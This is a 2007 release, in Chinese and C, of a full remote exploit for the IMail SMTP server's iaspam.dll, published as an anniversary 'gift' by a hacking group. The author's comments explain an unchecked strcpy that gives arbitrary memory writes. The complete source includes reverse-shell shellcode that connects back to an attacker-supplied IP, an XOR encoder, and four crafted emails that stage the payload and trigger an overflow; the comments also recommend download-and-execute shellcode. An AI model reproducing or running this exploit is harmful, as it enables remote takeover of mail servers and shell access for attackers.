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Author: axis
Date: 2007-09-20
Team: http://www.ph4nt0m.org
为了庆祝幻影成立6周年(6th Anniversary)，老规矩，发点贺礼出来。
今年写的一个exp，送给过一些朋友，这次把source code直接公布出来。
这个漏洞也没啥，但是利用方式还不错，可以给大家借鉴下。
请仔细阅读我的注释，要是溢出不成功别找我。ScriptKids are not welcome.
/*
by axis
2007-06-05
http://www.ph4nt0m.org
以前有这个一个imail的exp
PRIVATE Remote Exploit For IMAIL Smtp Server(1.2)
This is For imail 8.01-8.11 version
Usage:faint.exe -d <host> [options]
Options:
-d: Hostname to attack [Required]
-t: Type [Default: 0]
-p: Attack port [Default: 25]
-S: the IP connect back to.
-P: the port connect back to.
Types:
0: win2k All version , IMail 8.01-11
不知道是哪位大牛写的
最近看了看，
非常好玩的一个漏洞。
漏洞是发生在iaspam.dll里
loc_1001ada5 ==> 注意动态调试时候注意加载基址的不同。
mov eax, [ebp+var_54]
mov ecx, [eax+10c8h]
push ecx ; char *
mov edx, [ebp+var_54]
mov eax, [edx+10d0h]
push eax ; char *
call _strcpy
add esp, 8
jmp loc_1001a6f0
这里strcpy的两个buffer，src和dst的指针，居然是直接从堆里读出来的。
而之前没有做任何检查
所以发送个邮件到服务器，SMD文件
然后在其后的偏移处控制这两个地址，就可以拷贝任意字符串到任意内存。
badchar是 0x00 0x0a emm说还有个 0x25,不过我没找到。
以前网上那个反连的版本，是利用了覆盖peb里的指针。
这种方法在2003上不能用。
这里我采用了emm的方法，构造了一个溢出
因为imailsec.dll的.data段可写。
所以我找到了这么一个地方
1000CB5D 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
1000CB60 50 PUSH EAX
1000CB61 8B0D 6C540310 MOV ECX,DWORD PTR DS:[1003546C] ;
IMailsec.1003549C
1000CB67 51 PUSH ECX
1000CB68 8D95 FCFDFFFF LEA EDX,DWORD PTR SS:[EBP-204]
1000CB6E 52 PUSH EDX
1000CB6F FF15 F8D30210 CALL DWORD PTR DS:[<&USER32.wsprintfA>] ;
USER32.wsprintfA
其中指针DWORD PTR DS:[1003546C] 在imailsec.dll的.data中，这个地址可以被我
们覆盖。
所以我们就可以构造一个溢出。
思路如下：
第一封邮件： 发送shellcode到内存中保存好。这里我放到了teb中
第二封邮件： 发送溢出需要的覆盖字符串到内存中保存好。这里我也放在了teb中
第三封邮件： 覆盖imailsec.dll中的 .data段的指针，使wsprintfA造成溢出
溢出覆盖使用的字符串是第二封邮件发送过去的，覆盖后的返回地址直接指向了第一
封邮件发送过去的shellcode在内存中的地址。
所以这个漏洞是和平台无关的！！不需要任何opcode！！
在实际利用时我发送了4封邮件，第一封是废邮件，用于提高成功率。
由于互联网的spam泛滥，所以等到邮件服务器处理漏洞邮件时，也许已经过了几个月
了。。。
所以最好的方案是使用download+exec 的shellcode。
这里给出一个比较烂的反连shellcode作为poc。
据emm说这个漏洞一直没补，只是高版本没有了。。。
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#include <io.h>
#pragma comment (lib,"ws2_32")
char *szEHLO = "HELO\r\n";
char *szMF = "MAIL FROM <fuc...@fuckimail.org>\r\n";
char *szRCPT = "RCPT TO: <postmaster>\r\n";
char *szDATA = "DATA\r\n";
char *szTIME = "Date: Thu, 1 Oct 2007 07:06:09 +0800\r\n";
char *szMIME = "MIME\r\n";
char *szEND = ".\r\n";
char *szQUIT = "QUIT\r\n";
char *szCT = "Content-Type: multipart/boundary=";
char *szCTE = "Content-Transfer-Encoding:";
//#define SCaddr "\x50\xe7\x03\x10"
#define SCaddr "\x50\xc8\xfd\x7f"
#define Fuck_ptr "\x6c\x54\x03\x10" //0x1003546c
#define Teb_temp1 0x7ffdd050
#define Teb_temp2 0x7ffdd040
#define Teb_temp3 0x7ffdd030
unsigned short port = 25;
unsigned char payload[5000] = "";
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90
#define PROC_END PROC_BEGIN
unsigned char sh_Buff[2048];
unsigned int sh_Len;
unsigned int Enc_key=0x99; //其实无关紧要,动态寻找
unsigned char decode1[] =
/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FF
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > \E8 EDFFFFFF CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF" // shellcode size
"\x80\x34\x0B"
"\xB8" // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF";
unsigned char decode2[] =
/*
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 \E8 EBFFFFFF CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01" // shellcode size
"\x80\x34\x0B"
"\xB8" // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";
// kernel32.dll functions index
#define _LoadLibraryA 0x00
#define _CreateProcessA 0x04
//#define _ExitProcess 0x08
#define _ExitThread 0x08
#define _WaitForSingleObject 0x0C
// ws2_32.dll functions index
#define _WSASocketA 0x10
#define _connect 0x14
#define _closesocket 0x18
//#define _WSAStartup 0x1C
// functions number
#define _Knums 4
#define _Wnums 3
// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"CreateProcessA"}, // [esi+4]
{"ExitThread"}, // [esi+8]
//{"ExitProcess"},
//{"TerminateProcess"},
{"WaitForSingleObject"}, // [esi+12]
// ws2_32 3 // 01 ws2_32.dll
{"WSASocketA"}, // [esi+16]
{"connect"}, // [esi+20]
{"closesocket"}, // [esi+24]
//{"WSAStartup"}, // [esi+28]
{""},
};
void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();
// Get function hash
unsigned long hash(unsigned char *c)
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
}
return h;
}
// get shellcode
void GetShellCode(char* ipstr, short port)
{
char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char *pSc_addr;
unsigned char pSc_Buff[2048];
unsigned int MAX_Sc_Len=0x2000;
unsigned long dwHash[100];
unsigned int dwHashSize;
unsigned int l,i,j,k;
char *p;
int ip;
// Get functions hash
for (i=0;;i++) {
if (functions[i][0] == '\x0') break;
dwHash[i] = hash(functions[i]);
//fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_Sc_Len;++k ) {
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
break;
}
}
pSc_addr+=(k+8); // start of the ShellCode
for (k=0;k<MAX_Sc_Len;++k) {
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
break;
}
}
sh_Len=k; // length of the ShellCode
memcpy(pSc_Buff, pSc_addr, sh_Len);
for(k=0; k<sh_Len; ++k)
{
if(memcmp(pSc_Buff+k, "\x68\x7F\x00\x00\x01", 5) == 0)
{
ip = inet_addr(ipstr);
p = (char*)&ip;
pSc_Buff[k+1] = p[0];
pSc_Buff[k+2] = p[1];
pSc_Buff[k+3] = p[2];
pSc_Buff[k+4] = p[3];
}
if(memcmp(pSc_Buff+k, "\x68\x02\x00\x00\x35", 5) == 0)
{
p = (char*)&port;
pSc_Buff[k+3] = p[1];
pSc_Buff[k+4] = p[0];
}
}
// Add functions hash
memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
sh_Len += dwHashSize;
//printf("%d bytes shellcode\n", sh_Len);
// print shellcode
//PrintSc(pSc_Buff, sh_Len);
// find xor byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=0; j<sh_Len; j++)
{
if (
// ((pSc_Buff[j] ^ i) == 0x26) || //%
// ((pSc_Buff[j] ^ i) == 0x3d) || //=
// ((pSc_Buff[j] ^ i) == 0x3f) || //?
//((pSc_Buff[j] ^ i) == 0x40) || //@
((pSc_Buff[j] ^ i) == 0x00) ||
//((pSc_Buff[j] ^ i) == 0x3c) ||
//((pSc_Buff[j] ^ i) == 0x3e) ||
// ((pSc_Buff[j] ^ i) == 0x2f) ||
// ((pSc_Buff[j] ^ i) == 0x22) ||
// ((pSc_Buff[j] ^ i) == 0x2a) ||
//((pSc_Buff[j] ^ i) == 0x3a) ||
// ((pSc_Buff[j] ^ i) == 0x20) ||
((pSc_Buff[j] ^ i) == 0x25) ||
((pSc_Buff[j] ^ i) == 0x0D) ||
((pSc_Buff[j] ^ i) == 0x0A)
// ((pSc_Buff[j] ^ i) == 0x5C)
)
{
l++;
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("Find XOR Byte: 0x%02X\n", i);
for(j=0; j<sh_Len; j++)
{
pSc_Buff[j] ^= Enc_key;
}
break; // break when found xor byte
}
}
// No xor byte found
if (l!=0){
//fprintf(stderr, "No xor byte found!\n");
sh_Len = 0;
}
else {
//fprintf(stderr, "Xor byte 0x%02X\n", Enc_key);
// encode
if (sh_Len > 0xFF) {
*(unsigned short *)&decode2[8] = sh_Len;
*(unsigned char *)&decode2[13] = Enc_key;
memcpy(sh_Buff, decode2, sizeof(decode2)-1);
memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode2)-1;
}
else {
*(unsigned char *)&decode1[7] = sh_Len;
*(unsigned char *)&decode1[11] = Enc_key;
memcpy(sh_Buff, decode1, sizeof(decode1)-1);
memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode1)-1;
}
}
}
// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
printf("/* %d bytes */\n",buffsize);
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!=0)
printf("\"\n\"");
else
printf("\"");
sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
printf("%c", _tolower(*p));
else
printf("%c", p[0]);
}
}
printf( "\";\n");
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp
-> edi)
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base
address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push _Knums
pop ecx
get_kernel32:
call GetProcAddress_fun
loop get_kernel32
// Get ws2_32.dll base addr
push 0x00003233
push 0x5f327377
push esp
call dword ptr [esi+_LoadLibraryA] //
LoadLibraryA("ws2_32");
//mov ebp, eax // ebp = ws2_32.dll base
address
xchg eax, ebp
// Get function addr of ws2_32
push _Wnums
pop ecx
get_ws2_32:
call GetProcAddress_fun
loop get_ws2_32
//
/*
//LWSAStartup:
sub esp, 400
push esp
push 0x101
call dword ptr [esi+_WSAStartup] // WSAStartup(0x101,
&WSADATA);
//
*/
//LWSASocketA:
push ecx
push ecx
push ecx
push ecx
push 1
push 2
call dword ptr [esi+_WSASocketA] // s=WSASocketA(2,1,0,0,0,0);
//mov ebx, eax // socket -> ebx
xchg eax, ebx
//Lconnect:
//int 3
push 0x0100007F //
host: 127.0.0.1
push 0x35000002 //
port: 53
mov ebp, esp
push 0x10 // sizeof(sockaddr_in)
push ebp // sockaddr_in address
push ebx // socket s
call dword ptr [esi+_connect] // connect(s, name,
sizeof(name));
// if connect failed , exit
test eax, eax
jne Finished
// xor eax, eax
// allot memory for STARTUPINFO, PROCESS_INFORMATION
mov edi, esp
// zero out SI/PI
push 0x12
pop ecx
stack_zero:
stosd
loop stack_zero
//mov byte ptr [esp+0x10], 0x44 // si.cb = sizeof(si)
//inc byte ptr [esp+0x3C] // si.dwFlags
//inc byte ptr [esp+0x3D] // si.wShowWindow
//mov [esp+0x48], ebx // si.hStdInput = s
//mov [esp+0x4C], ebx // si.hStdOutput = s
//mov [esp+0x50], ebx // si.hStdError = s
mov word ptr [esp+0x3c], 0x0101
xchg eax, ebx
stosd
stosd
stosd
mov edi, esp
// push "cmd"
push 0x00646d63 // "cmd"
mov ebp, esp
push eax // socket
//LCreateProcess:
lea eax, [edi+0x10]
push edi // pi
push eax // si
push ecx // lpCurrentDirectory
push ecx // lpEnvironment
push ecx // dwCreationFlags
push 1 // bInheritHandles
push ecx // lpThreadAttributes
push ecx // lpProcessAttributes
push ebp // lpCommandLine = "cmd"
push ecx // lpApplicationName NULL
call dword ptr [esi+_CreateProcessA] //
CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si, pi);
//LWaitForSingleObject:
//push 1
push 0xFFFFFFFF
push dword ptr [edi]
call dword ptr [esi+_WaitForSingleObject] //
WaitForSingleObject(Handle, time) ;
//LCloseSocket:
//push ebx
call dword ptr [esi+_closesocket] // closesocket(c);
Finished:
// 恢复构造的溢出点
mov eax, 0x1003546c
mov DWORD ptr [eax], 0x1003549c
mov DWORD ptr [eax+4], 0x100354c8
mov DWORD ptr [eax+8], 0x100354e0
//push 1
//call dword ptr [esi+_ExitProcess] // ExitProcess();
xor eax, eax
push eax
call dword ptr [esi+_ExitThread]
//
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, 7 // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
// AddressOfNameOrdinals RVA
/*
//--------------------------------------------------------
jmp over_it
__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm
_emit 0x40
__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm
_emit 0x40
__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm
_emit 0x40
__asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm
_emit 0x40
//--------------------------------------------------------
over_it:
*/
mov ebx, [esi+0x24]
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to
[edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons((short)port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
void Disconnect(SOCKET s)
{
closesocket(s);
WSACleanup();
}
void help(char *n)
{
printf("==Usage:\n");
printf("%s [target ip] [target port] [local ip] [local port]\n\n",
n);
printf("We will send 4 mail to trigger the vuln.\n");
printf("The fucking vuln will be triggered when the mail server
handling the mail.\n");
printf("Because of the Spam in the internet,\nthe vuln maybe
triggered after a few days!!Fuck!!\n\n");
}
int sendfuckingmail(int the_mail, char *target, int tg_port)
{
SOCKET s;
WSADATA WSAData;
char buffer[1000] = {0}; // 临时buffer用于io
int ret;
char padding[5000] = {0}; // padding用于填充
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
fprintf(stderr, "[-] WSAStartup failed.\n");
WSACleanup();
exit(1);
}
s = Make_Connection(target, tg_port, 10);
if(s<0)
{
fprintf(stderr, "[-] connect err.\n");
exit(1);
}
recv(s, buffer, sizeof(buffer), 0);
Sleep(1000);
ret = strlen(buffer);
if ( ret < 10 )
{
printf("[-]Seems Service Down~ :( \n");
Disconnect(s);
return -1;
}
printf("[+]Got Banner: %s", buffer);
// HELO
send(s, szEHLO, strlen(szEHLO), 0);
recv(s, buffer, sizeof(buffer), 0);
// printf("%s", buffer);
printf("[+]Say hello to Server.\n");
memset(buffer, 0, sizeof(buffer));
// MAIL FROM
Sleep(500);
send(s, szMF, strlen(szMF), 0);
recv(s, buffer, sizeof(buffer), 0);
if(strstr(buffer, "250"))
printf("[+]Recv: %s", buffer);
else
{
printf("[-]Seems Service Down~ :( \n");
Disconnect(s);
return -1;
}
memset(buffer, 0, sizeof(buffer));
// RCPT TO
Sleep(500);
send(s, szRCPT, strlen(szRCPT), 0);
recv(s, buffer, sizeof(buffer), 0);
if(strstr(buffer, "250"))
printf("[+]Recv: %s", buffer);
else
{
printf("[-]Seems Service Down~ :( \n");
Disconnect(s);
return -1;
}
memset(buffer, 0, sizeof(buffer));
// DATA
Sleep(500);
send(s, szDATA, strlen(szDATA), 0);
recv(s, buffer, sizeof(buffer), 0);
if(strstr(buffer, "354"))
printf("[+]Recv: %s", buffer);
else
{
printf("[-]Seems Service Down~ :( \n");
Disconnect(s);
return -1;
}
memset(buffer, 0, sizeof(buffer));
Sleep(100);
// TIME
send(s, szTIME, strlen(szTIME), 0);
// recv(s, buffer, sizeof(buffer), 0);
// printf("%s", buffer);
printf("[+]Fucking Server at %s", szTIME);
memset(buffer, 0, sizeof(buffer));
Sleep(200);
// 判断是第几封邮件
if (the_mail == 0) // 发一封废邮件，提高成功率
{
/*
my $padding = "\x22"."B"x2028;
my $padding1 = "B"x2046;
my $padding11 = "B"x146; #163个B
my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f"; # 在teb
中
my $straddr2 = "\x50\xc0\xfd\x7f"; # shellcode会拷贝到的地址
print $sock "Content-Type: multipart\/boundary=$padding $padding1
$padding11$straddr1$straddr2\r\n";
*/
memcpy(payload, szCT, strlen((const char *)szCT));
//memcpy(payload+strlen(const char *szCT), "\"", 1);
memset(padding, 0x43, 5000);
padding[0] = '\x22';
padding[2029] = '\x20';
padding[4076] = '\x20';
//straddr1
padding[4223] = '\x50';
padding[4224] = '\xd0';
padding[4225] = '\xfd';
padding[4226] = '\x7f';
padding[4227] = '\x30';
padding[4228] = '\xd0';
padding[4229] = '\xfd';
padding[4230] = '\x7f';
//straddr2 0x10036ea0
padding[4231] = '\x30';
padding[4232] = '\xd8';
padding[4233] = '\xfd';
padding[4234] = '\x7f';
padding[4235] = '\x0d';
padding[4236] = '\x0a';
padding[4237] = '\x00';
memcpy(payload+strlen((const char *)szCT), padding,
strlen((const char *)padding));
send(s, (const char *)payload, strlen((const char
*)payload), 0);
Sleep(100);
// MIME
send(s, (const char *)szMIME, strlen((const char *)szMIME),
0);
// recv(s, buffer, sizeof(buffer), 0);
// printf("%s", buffer);
// printf("[+]Fucking Server at %s.\n", szTIME);
// memset(buffer, 0, sizeof(buffer));
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
memset(padding, 0x43, 80);
//memcpy(padding, "\x43", 80);
padding[80] = '\x00';
memset(payload, 0x00, sizeof(payload));
memcpy(payload, szCTE, strlen((const char*)szCTE));
memcpy(payload+strlen((const char*)szCTE), padding, strlen((const
char*)padding));
memcpy(payload+strlen((const char*)szCTE)+strlen((const
char*)padding), "\r\n", 2);
Sleep(200);
send(s, (const char *)payload, strlen((const char
*)payload), 0);
memset(payload, 0x00, sizeof(payload));
}
else if (the_mail == 1) // 构造bufferoverflow的覆盖字符串
{
/*
my $padding = "\x22"."B"x2028;
my $padding1 = "B"x2046;
my $padding11 = "B"x146; #163个B
my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f"; # 在teb
中
my $straddr2 = "\x50\xc0\xfd\x7f"; # shellcode会拷贝到的地址
print $sock "Content-Type: multipart\/boundary=$padding $padding1
$padding11$straddr1$straddr2\r\n";
*/
memcpy(payload, szCT, strlen((const char *)szCT));
//memcpy(payload+strlen(const char *szCT), "\"", 1);
memset(padding, 0x43, 5000);
padding[0] = '\x22';
padding[2029] = '\x20';
padding[4076] = '\x20';
//straddr1
padding[4223] = '\x50';
padding[4224] = '\xd0';
padding[4225] = '\xfd';
padding[4226] = '\x7f';
padding[4227] = '\x30';
padding[4228] = '\xd0';
padding[4229] = '\xfd';
padding[4230] = '\x7f';
//straddr2 0x10036ea0
padding[4231] = '\x50';
padding[4232] = '\xc0';
padding[4233] = '\xfd';
padding[4234] = '\x7f';
padding[4235] = '\x0d';
padding[4236] = '\x0a';
padding[4237] = '\x00';
memcpy(payload+strlen((const char *)szCT), padding,
strlen((const char *)padding));
send(s, (const char *)payload, strlen((const char
*)payload), 0);
Sleep(100);
// MIME
send(s, (const char *)szMIME, strlen((const char *)szMIME),
0);
// recv(s, buffer, sizeof(buffer), 0);
// printf("%s", buffer);
// printf("[+]Fucking Server at %s.\n", szTIME);
// memset(buffer, 0, sizeof(buffer));
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
memset(padding, 0x43, 80);
//memcpy(padding, "\x43", 80);
padding[80] = '\x00';
memset(payload, 0x00, sizeof(payload));
memcpy(payload, szCTE, strlen((const char*)szCTE));
memcpy(payload+strlen((const char*)szCTE), padding, strlen((const
char*)padding));
memcpy(payload+strlen((const char*)szCTE)+strlen((const
char*)padding), "\r\n", 2);
Sleep(200);
send(s, (const char *)payload, strlen((const char
*)payload), 0);
// send payload 构造溢出的字符串 eip指向shellcode的地址
memset(payload, 0x00, sizeof(payload));
memset(payload, 0x44, 520);
memcpy(payload+520, SCaddr, strlen((const char
*)SCaddr));
memcpy(payload+520+4, "\r\n", 2);
Sleep(200);
send(s, (const char *)payload, strlen((const char
*)payload), 0);
memset(payload, 0x00, sizeof(payload));
}
else if (the_mail == 2) // 发送shellcode
{
/*
my $padding = "\x22"."B"x2028;
my $padding1 = "B"x2046;
my $padding11 = "B"x146; #163个B
my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f"; # 在teb
中
my $straddr2 = "\x50\xe7\x03\x10"; # shellcode会拷贝到的地址
print $sock "Content-Type: multipart\/boundary=$padding $padding1
$padding11$straddr1$straddr2\r\n";
*/
memcpy(payload, szCT, strlen((const char *)szCT));
//memcpy(payload+strlen(const char *szCT), "\"", 1);
memset(padding, 0x43, 5000);
padding[0] = '\x22';
padding[2029] = '\x20';
padding[4076] = '\x20';
//straddr1
padding[4223] = '\x50';
padding[4224] = '\xd0';
padding[4225] = '\xfd';
padding[4226] = '\x7f';
padding[4227] = '\x30';
padding[4228] = '\xd0';
padding[4229] = '\xfd';
padding[4230] = '\x7f';
//straddr2 0x7ffdc850
padding[4231] = '\x50';
padding[4232] = '\xc8';
padding[4233] = '\xfd';
padding[4234] = '\x7f';
padding[4235] = '\x0d';
padding[4236] = '\x0a';
padding[4237] = '\x00';
memcpy(payload+strlen((const char *)szCT), padding,
strlen((const char *)padding));
send(s, (const char *)payload, strlen((const char
*)payload), 0);
// MIME
send(s, (const char *)szMIME, strlen((const char *)szMIME),
0);
// recv(s, buffer, sizeof(buffer), 0);
// printf("%s", buffer);
// printf("[+]Fucking Server at %s.\n", szTIME);
// memset(buffer, 0, sizeof(buffer));
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
memset(padding, 0x43, 80);
//memcpy(padding, "\x43", 80);
padding[80] = '\x00';
memset(payload, 0x00, sizeof(payload));
memcpy(payload, szCTE, strlen((const char*)szCTE));
memcpy(payload+strlen((const char*)szCTE), padding, strlen((const
char*)padding));
memcpy(payload+strlen((const char*)szCTE)+strlen((const
char*)padding), "\r\n", 2);
send(s, (const char *)payload, strlen((const char
*)payload), 0);
Sleep(200);
// 发送shellcode过去保存
memset(payload, 0x00, sizeof(payload));
memcpy(payload, sh_Buff, strlen((const char*)sh_Buff));
memcpy(payload+strlen((const char*)sh_Buff), "\r\n", 2);
send(s, (const char *)payload, strlen((const char
*)payload), 0);
memset(payload, 0x00, sizeof(payload));
}
else // 第三封邮件，构造溢出
{
Sleep(500); // 因为要触发漏洞了，所以必须要晚点，不然
shellcode没到位
/*
my $padding = "\x22"."B"x2028;
my $padding1 = "B"x2046;
my $padding11 = "B"x146; #163个B
my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f"; # 在teb
中
my $straddr2 = "\x6c\x54\x03\x10"; # shellcode会拷贝到的地址
print $sock "Content-Type: multipart\/boundary=$padding $padding1
$padding11$straddr1$straddr2\r\n";
*/
memcpy(payload, szCT, strlen((const char *)szCT));
//memcpy(payload+strlen(const char *szCT), "\"", 1);
memset(padding, 0x43, 5000);
padding[0] = '\x22';
padding[2029] = '\x20';
padding[4076] = '\x20';
//straddr1
padding[4223] = '\x50';
padding[4224] = '\xd0';
padding[4225] = '\xfd';
padding[4226] = '\x7f';
padding[4227] = '\x30';
padding[4228] = '\xd0';
padding[4229] = '\xfd';
padding[4230] = '\x7f';
//straddr2 触发溢出的地址
padding[4231] = '\x6c';
padding[4232] = '\x54';
padding[4233] = '\x03';
padding[4234] = '\x10';
padding[4235] = '\x0d';
padding[4236] = '\x0a';
padding[4237] = '\x00';
memcpy(payload+strlen((const char *)szCT), padding,
strlen((const char *)padding));
send(s, (const char *)payload, strlen((const char
*)payload), 0);
// MIME
send(s, (const char *)szMIME, strlen((const char *)szMIME),
0);
// recv(s, buffer, sizeof(buffer), 0);
// printf("%s", buffer);
// printf("[+]Fucking Server at %s.\n", szTIME);
// memset(buffer, 0, sizeof(buffer));
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
memset(padding, 0x43, 80);
//memcpy(padding, "\x43", 80);
padding[80] = '\x00';
memset(payload, 0x00, sizeof(payload));
memcpy(payload, szCTE, strlen((const char*)szCTE));
memcpy(payload+strlen((const char*)szCTE), padding, strlen((const
char*)padding));
memcpy(payload+strlen((const char*)szCTE)+strlen((const
char*)padding), "\r\n", 2);
send(s, (const char *)payload, strlen((const char
*)payload), 0);
Sleep(200);
// send payload 修改指针地址，构造出溢出
memset(payload, 0x00, sizeof(payload));
// 需要指向构造溢出字符串的地址，以及2个可写地址
memcpy(payload, "\x50\xc0\xfd\x7f", 4);
memcpy(payload+4, "\x40\xc0\xfd\x7f\x30\xc0\xfd\x7f", 8);
memcpy(payload+12, "\r\n", 2);
send(s, (const char *)payload, strlen((const char
*)payload), 0);
memset(payload, 0x00, sizeof(payload));
}
// END
Sleep(500);
send(s, szEND, strlen(szEND), 0);
recv(s, buffer, sizeof(buffer), 0);
if(strstr(buffer, "250"))
printf("[+]Recv: %s", buffer);
else
{
printf("[-]Seems Service Down~ :( \n");
Disconnect(s);
return -1;
}
memset(buffer, 0, sizeof(buffer));
// QUIT
send(s, szQUIT, strlen(szQUIT), 0);
recv(s, buffer, sizeof(buffer), 0);
// printf("%s", buffer);
printf("[+]Fucking END, Ejaculating Now !\n\n");
memset(buffer, 0, sizeof(buffer));
Sleep(400);
closesocket(s);
WSACleanup();
return 0;
}
int main(int argc, char *argv[])
{
//int imail_ver = 0; //imail version (buffer不同)
//int ret;
//SOCKET s;
//WSADATA WSAData;
printf("\n== IMail iaspam.dll 8.01-8.11 Private Remote Exploit\n");
printf("== by axis@ph4nt0m\n");
printf("== http://www.ph4nt0m.org\n");
printf("== 2007-06\n");
printf("== 2007-09-18 published as a gift for the 6th Anniversary
of Ph4nt0m\n");
printf("== ConnBack Version\n");
printf("== Thanks EnvyMask@ph4nt0m\n\n");
if(argc != 5)
{
help(argv[0]);
return 0;
}
if(argc == 5) port = atoi(argv[4]);
GetShellCode(argv[3], port);
if (!sh_Len)
{
printf("[-] Shellcode generate error.\n");
exit(1);
}
//printf("shellcode length is: %d \n",strlen((char *)sh_Buff));
//PrintSc(sh_Buff, sh_Len);
Sleep(200);
for (int mail_payload = 0; mail_payload <= 3; mail_payload++)
{
//printf("[+]Now Sending the %d fucking
Mail!\n",mail_payload+1);
sendfuckingmail(mail_payload, argv[1], atoi(argv[2]));
Sleep(2000);
}
printf("Got a Shell on your port ?! @_@\n\n");
return 1;
}
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